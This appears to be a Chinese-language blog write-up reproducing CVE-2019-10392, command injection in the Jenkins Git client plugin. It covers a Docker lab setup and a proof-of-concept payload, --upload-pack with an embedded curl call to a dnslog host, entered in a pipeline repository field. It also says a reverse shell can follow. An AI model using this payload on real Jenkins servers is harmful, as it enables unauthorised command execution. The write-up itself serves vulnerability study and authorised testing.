背景
漏洞编号:CVE-2019-10392
影响范围:Git client Plugin <= 2.8.4
漏洞影响:允许具有Job/Configure权限的攻击者在Jenkins主服务器上执行任意系统命令作为Jenkins进程正在运行的OS用户的方式实现命令执行,是Git客户端插件中的系统命令执行漏洞。
漏洞复现
0x01 环境搭建
使用docker进行搭建
docker search Jenkins
docker pull jenkins/jenkins
docker run -d -p 8080:8080 -p 50000:50000 jenkins/jenkins
浏览器访问ip:8080进入环境
进入容器:docker exec -it 4102ac2d60c6 /bin/bash
获取密码:cat /var/jenkins_home/secrets/initialAdminPassword
输入密码后继续下一步,安装推荐的插件,安装时间较长
继续下一步,创建一个管理员
继续下一步,就进入了Jenkins主页面
系统管理 -- 管理用户 -- 新建用户,创建一个user账户
然后进入:系统管理 -- 全局安全配置,为user账户配置如下权限
下载漏洞版本的插件
git客户端:http://updates.jenkins-ci.org/download/plugins
/git-client/2.8.2/git-client.hpi
git插件:http://updates.jenkins-ci.org/download/plugins
/git/3.12.0/git.hpi
然后进入:系统管理 à 插件管理 à 高级,将两个插件上传
上传完后点击下图的(安装完成后重启Jenkins)即可重新启动服务
0x02 漏洞利用
重启后,登录user账户
新建任务-- 流水线
确定后,点击流水线
选择以下选项,输入Poc(使用dnslog检测):
--upload-pack="`curl 71lbw0.dnslog.cn`"
查看dnslog,检测到流量 即可反弹shell。
修复建议
厂商已发布了漏洞修复程序,请及时关注更新:
https://github.com/jenkinsci/git-client-plugin。
免责声明
本项目仅进行信息搜集,漏洞探测工作,无漏洞利用、攻击性行为,发文初衷为仅为方便安全人员对授权项目完成测试工作和学习交流使用。
请使用者遵守当地相关法律,勿用于非授权测试,勿用于非授权测试,勿用于非授权测试~~(重要的事情说三遍)~~,如作他用所承受的法律责任一概与作者无关!!!
本文始发于微信公众号(凌晨安全):CVE-2019-10392:Jenkins Git client插件RCE复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论